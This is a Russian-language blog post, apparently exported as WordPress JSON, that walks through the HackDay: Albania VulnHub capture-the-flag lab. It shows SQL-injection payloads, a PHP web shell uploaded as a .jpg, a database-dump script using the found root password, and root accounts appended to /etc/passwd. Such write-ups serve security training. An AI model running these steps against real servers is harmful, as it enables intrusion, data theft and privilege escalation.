{"id":282656,"date":"2016-12-18T00:30:03","date_gmt":"2016-12-17T21:30:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=282656"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=282656","title":{"rendered":"VulnHub \u0420\u0430\u0437\u0431\u043e\u0440 HackDay: Albania"},"content":{"rendered":"<p>\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u043b\u0430\u0431 \u0441 <a href=\"https:\/\/www.vulnhub.com\">VulnHub<\/a>. \u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0437\u0430\u0439\u043c\u0435\u043c\u0441\u044f <a href=\"https:\/\/www.vulnhub.com\/entry\/hackday-albania,167\/\">HackDay: Albania<\/a><br \/>  \u041a \u043e\u0431\u0440\u0430\u0437\u0443 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u0441\u043a \u0441 HackDay Albania&#8217;s 2016 CTF  <\/p>\n<blockquote><p>This was used in HackDay Albania&#8217;s 2016 CTF.<br \/>  The level is beginner to intermediate.<br \/>  It uses DHCP.<br \/>  Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.<\/p><\/blockquote>\n<p>  \u0422\u0430\u0441\u043a \u043a\u0430\u043a \u0438 <a href=\"https:\/\/habrahabr.ru\/post\/317346\/\">\u043f\u0440\u043e\u0448\u043b\u044b\u0439<\/a> \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d \u043d\u0430 \u043d\u043e\u0432\u0438\u0447\u043a\u043e\u0432. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e. <br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<h3>\u041d\u0430\u0447\u043d\u0451\u043c<\/h3>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u0432 VirtualBox, \u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <i>nmap&#8217;\u043e\u043c<\/i> \u0438\u0449\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u043e\u0440\u0442\u044b:  <\/p>\n<pre><code class=\"bash\">sudo nmap 192.168.1.1-255 -sV<\/code><\/pre>\n<p>  <\/p>\n<blockquote><p>Starting Nmap 7.01 ( <a href=\"https:\/\/nmap.org\">nmap.org<\/a> ) at 2016-12-18 00:03 MSK<br \/>  Nmap scan report for 192.168.1.44<br \/>  Host is up (0.0013s latency).<br \/>  Not shown: 998 closed ports<br \/>  PORT STATE SERVICE VERSION<br \/>  22\/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)<br \/>  8008\/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br \/>  MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)<br \/>  Service Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel  <\/p><\/blockquote>\n<p>  \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043f\u043e <i><a href=\"http:\/\/192.168.1.44\">192.168.1.44<\/a>:8008<\/i> \u0432\u0438\u0434\u0438\u043c \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u043a\u043d\u043e<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b00\/ebc\/f21\/b00ebcf2176e4d75a9de27ef0a176b1f.png\"\/><\/p>\n<p>  \u0418 \u043a\u043e\u043c\u043c\u0435\u043d\u0442 \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b:  <\/p>\n<blockquote><p>OK ok, por jo ketu \ud83d\ude42<\/p><\/blockquote>\n<p>  \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430 robots.txt  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">robots.txt<\/b><\/p>\n<div class=\"spoiler_text\">Disallow: \/rkfpuzrahngvat\/<br \/>  Disallow: \/slgqvasbiohwbu\/<br \/>  Disallow: \/tmhrwbtcjpixcv\/<br \/>  Disallow: \/vojtydvelrkzex\/<br \/>  Disallow: \/wpkuzewfmslafy\/<br \/>  Disallow: \/xqlvafxgntmbgz\/<br \/>  Disallow: \/yrmwbgyhouncha\/<br \/>  Disallow: \/zsnxchzipvodib\/<br \/>  Disallow: \/atoydiajqwpejc\/<br \/>  Disallow: \/bupzejbkrxqfkd\/<br \/>  Disallow: \/cvqafkclsyrgle\/<br \/>  Disallow: \/unisxcudkqjydw\/<br \/>  Disallow: \/dwrbgldmtzshmf\/<br \/>  Disallow: \/exschmenuating\/<br \/>  Disallow: \/fytdinfovbujoh\/<br \/>  Disallow: \/gzuejogpwcvkpi\/<br \/>  Disallow: \/havfkphqxdwlqj\/<br \/>  Disallow: \/ibwglqiryexmrk\/<br \/>  Disallow: \/jcxhmrjszfynsl\/<br \/>  Disallow: \/kdyinsktagzotm\/<br \/>  Disallow: \/lezjotlubhapun\/<br \/>  Disallow: \/mfakpumvcibqvo\/<br \/>  Disallow: \/ngblqvnwdjcrwp\/<br \/>  Disallow: \/ohcmrwoxekdsxq\/<br \/>  Disallow: \/pidnsxpyfletyr\/<br \/>  Disallow: \/qjeotyqzgmfuzs\/  <\/div>\n<\/div>\n<p>  \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u0437\u0430\u0439\u0442\u0438 \u0432 \u043e\u0434\u043d\u0443 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u043d\u0430\u043c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b <i>index.html<\/i>, \u0441 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u043e\u0439:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/0f7\/432\/1fb\/0f74321fb0aa4d9a9b9b3de0acbeb644.jpg\"\/><br \/>  <i>background.jpg<\/i><\/p>\n<p>  \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0447\u0438\u043a\u043e\u043c, \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u0442\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0441\u0435\u0445, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c <a href=\"https:\/\/github.com\/GH0st3rs\/robotscan\">\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c<\/a> \u0434\u043b\u044f dirsearch<br \/>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c:  <\/p>\n<pre><code class=\"bash\">sudo python3 robotscan.py -u http:\/\/192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w \/usr\/share\/dirb\/wordlists\/big.txt <\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u0438\u0434\u0438\u043c \u0447\u0442\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 <i>\/unisxcudkqjydw\/<\/i> \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0430\u0439\u043b <i>background.jpg<\/i><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/25d\/ed4\/75a\/25ded475adb24fe39ce8e8cbea28b546.png\"\/><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u044d\u0442\u0443 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0432\u0438\u0434\u0438\u043c \u0442\u0430\u043a\u043e\u0439 \u043e\u0442\u0432\u0435\u0442:  <\/p>\n<blockquote><p>IS there any \/vulnbank\/ in there ??? <\/p><\/blockquote>\n<p>  \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 <i>\/vulnbank\/<\/i> \u0438 \u0434\u0430\u043b\u0435\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/02a\/75a\/1ed\/02a75a1ed05a43d7a4ece1642428cb21.png\"\/><\/p>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 sql \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439:  <\/p>\n<pre><code class=\"bash\">sudo sqlmap -u 'http:\/\/192.168.1.44:8008\/unisxcudkqjydw\/vulnbank\/client\/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3<\/code><\/pre>\n<p>  \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0442\u0432\u0435\u0442:  <\/p>\n<blockquote><p>sqlmap resumed the following injection point(s) from stored session:<br \/>   \u2014 Parameter: username (POST)<br \/>   Type: boolean-based blind<br \/>   Title: MySQL RLIKE boolean-based blind \u2014 WHERE, HAVING, ORDER BY or GROUP BY clause<br \/>   Payload: username=admin&#8217; RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0x61646d696e ELSE 0x28 END))&#8212; pSKE&#038;password=admin<\/p>\n<p>  Type: AND\/OR time-based blind<br \/>   Title: MySQL &gt;= 5.0.12 RLIKE time-based blind<br \/>   Payload: username=admin&#8217; RLIKE SLEEP(5)&#8212; DBgy&#038;password=admin  <\/p><\/blockquote>\n<p>  \u041f\u043e\u043f\u044b\u0442\u043a\u0438 \u0441\u0434\u0430\u043c\u043f\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0442\u0430\u0431\u043b\u0438\u0446 \u043a \u0443\u0441\u043f\u0435\u0445\u0443 \u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0438, sqlmap \u043d\u0430 \u0432\u0441\u0451 \u0432\u044b\u0434\u0430\u0432\u0430\u043b \u043e\u0448\u0438\u0431\u043a\u0443: <i>[CRITICAL] unable to retrieve the number of database users<\/i>.<br \/>  \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438: <i>username=admin&#8217; RLIKE SLEEP(5)&#8212; DBgy&#038;password=admin<\/i><br \/>  \u0418 \u043d\u0430\u0441 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442 \u0432 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043a\u0430\u043a\u043e\u0433\u043e-\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/dfd\/064\/d79\/dfd064d798dc418c9c0611b96544d04b.png\"\/>  <\/div>\n<\/div>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e! \u041d\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u0430, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0447\u0442\u043e-\u0442\u043e \u0437\u0430\u043b\u0438\u0442\u044c, \u0438 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:  <\/p>\n<blockquote><p>After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc&#8230;<\/p><\/blockquote>\n<p>  \u041e\u043a, \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0430\u0439\u043b  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">shell.jpg<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;?php system($_GET['cmd']); ?&gt;<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u0417\u0430\u043b\u0438\u0432\u0430\u0435\u043c, \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0432\u0441\u0451 \u043f\u0440\u043e\u0448\u043b\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e. \u0417\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e upload, \u0430 \u0442\u0430\u043a \u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435:<br \/>  <i><a href=\"http:\/\/192.168.1.44\">192.168.1.44<\/a>:8008\/unisxcudkqjydw\/vulnbank\/client\/view_file.php?filename=shell.jpg&#038;cmd=id<\/i>.<br \/>  \u041d\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u0432\u0435\u0442\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:  <\/p>\n<blockquote><p>Warning: system(): Unable to fork [id] in \/var\/www\/html\/unisxcudkqjydw\/vulnbank\/client\/upload\/shell.jpg on line 1<\/p><\/blockquote>\n<p>  \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u0441\u0430\u043c\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 php \u0438\u043d\u043a\u043b\u0443\u0434, \u0431\u0435\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041f\u043b\u044e\u0448\u043a\u0438 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 php shell<\/b><\/p>\n<div class=\"spoiler_text\">\u0417\u0430\u043b\u0438\u0432\u0430\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0444\u043e\u0440\u043c\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0442\u0438\u043a\u0435\u0442\u043e\u0432 <a href=\"https:\/\/github.com\/b374k\/b374k\">\u0448\u0435\u043b\u043b b374k<\/a><br \/>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c BurpSuite \u0438 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c \u0442\u0430\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/cbc\/16c\/e7a\/cbc16ce7a2a5492ebdab9347c8de82ea.png\"\/><br \/>  P.S. \u0431\u0435\u0437 \u043d\u0435\u0433\u043e BurpSuite \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0431\u0443\u0434\u0435\u0442 \u043a \u0437\u0430\u043f\u0440\u043e\u0441\u0443 <i>view_file.php?filename=myShell.jpg<\/i> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c <i>?filename=myShell.jpg<\/i> \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u043e\u0448\u0438\u0431\u043a\u0430\u043c.<\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430\u0448 \u0448\u0435\u043b\u043b, \u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b <i>upload\/myShell.jpg<\/i> \u0432 <i>upload\/myShell.php<\/i>.<br \/>  \u0411\u043e\u043b\u044c\u0448\u0435 BurpSuite \u043d\u0430\u043c \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f. \u0442\u0435\u043f\u0435\u0440\u044c \u0448\u0435\u043b\u043b \u0443 \u043d\u0430\u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443: <i><a href=\"http:\/\/192.168.1.44\">192.168.1.44<\/a>:8008\/unisxcudkqjydw\/vulnbank\/client\/upload\/myShell.php<\/i>  <\/div>\n<\/div>\n<p>  \u041c\u043e\u0436\u0435\u043c \u0432\u044b\u0442\u044f\u043d\u0443\u0442\u044c \u0438\u0437 \u0411\u0414 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u0438\u0445 \u043f\u0430\u0440\u043e\u043b\u0438:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">function execute_query($sql){ \t$db_host = &quot;127.0.0.1&quot;; \t$db_name = &quot;bank_database&quot;; \t$db_user = &quot;root&quot;; \t$db_password = &quot;NuCiGoGo321&quot;; \t$con=mysqli_connect($db_host,$db_user,$db_password,$db_name); \tif(mysqli_connect_errno()){ \t  echo &quot;Failed to connect to MySQL: &quot; . mysqli_connect_error(); \t  die(0); \t  } \t $response = mysqli_query($con,$sql); \t mysqli_close($con); \t return $response; } $result = execute_query(&quot;SELECT * FROM klienti;&quot;); while($row = $result-&gt;fetch_assoc()) { print_r($row); }<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u041f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0444\u0430\u0439\u043b\u044b \u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0442\u0430\u043a\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c:  <\/p>\n<blockquote><p>passwd 1.58 KB root:root -rw-r&#8212;rw- 22-Oct-2016 17:21:42<\/p><\/blockquote>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<br \/>  \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u0432\u043e\u0439 \u0445\u0435\u0448 \u043f\u0430\u0440\u043e\u043b\u044f admin:  <\/p>\n<pre><code class=\"bash\">openssl passwd -1 -salt xyz admin<\/code><\/pre>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0438\u043c\u0435\u044e\u0449\u0438\u0439\u0441\u044f \u0443 \u043d\u0430\u0441 \u0448\u0435\u043b\u043b \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u0444\u0430\u0439\u043b \/etc\/passwd \u0442\u0430\u043a\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c  <\/p>\n<pre><code class=\"bash\">gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:\/:\/bin\/bash admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:\/:\/bin\/bash<\/code><\/pre>\n<p>  \u041a\u043e\u043d\u043d\u0435\u043a\u0442\u0438\u043c\u0441\u044f \u043f\u043e ssh \u043f\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c <i>gh0st3rs<\/i>, \u0434\u0430\u043b\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443  <\/p>\n<pre><code class=\"bash\">su admin<\/code><\/pre>\n<p>  \u0418 \u043f\u043e\u0441\u043b\u0435 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435<\/p>\n<p>  \u0414\u0435\u043b\u043e \u0437\u0430 \u043c\u0430\u043b\u044b\u043c, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0439\u0442\u0438 \u0444\u043b\u0430\u0433.  <\/p>\n<pre><code class=\"bash\">root@hackday:\/# find \/ -name &quot;*flag*&quot; root@hackday:\/# cat \/root\/flag.txt Urime,  Tani nis raportin!  d5ed38fdbf28bc4e58be142cf5a17cf5 root@hackday:\/# <\/code><\/pre>\n<p>  P.S. \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438, \u0443\u0437\u043d\u0430\u0451\u043c \u0447\u0442\u043e \u0444\u043b\u0430\u0433 \u044d\u0442\u043e md5 \u043e\u0442 <i>rio<\/i><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/317822\/\"> https:\/\/habrahabr.ru\/post\/317822\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u043b\u0430\u0431 \u0441 <a href=\"https:\/\/www.vulnhub.com\">VulnHub<\/a>. \u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0437\u0430\u0439\u043c\u0435\u043c\u0441\u044f <a href=\"https:\/\/www.vulnhub.com\/entry\/hackday-albania,167\/\">HackDay: Albania<\/a><br \/>  \u041a \u043e\u0431\u0440\u0430\u0437\u0443 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u0441\u043a \u0441 HackDay Albania&#8217;s 2016 CTF  <\/p>\n<blockquote><p>This was used in HackDay Albania&#8217;s 2016 CTF.<br \/>  The level is beginner to intermediate.<br \/>  It uses DHCP.<br \/>  Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.<\/p><\/blockquote>\n<p>  \u0422\u0430\u0441\u043a \u043a\u0430\u043a \u0438 <a href=\"https:\/\/habrahabr.ru\/post\/317346\/\">\u043f\u0440\u043e\u0448\u043b\u044b\u0439<\/a> \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d \u043d\u0430 \u043d\u043e\u0432\u0438\u0447\u043a\u043e\u0432. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e.   <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-282656","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282656","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=282656"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282656\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=282656"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=282656"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=282656"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}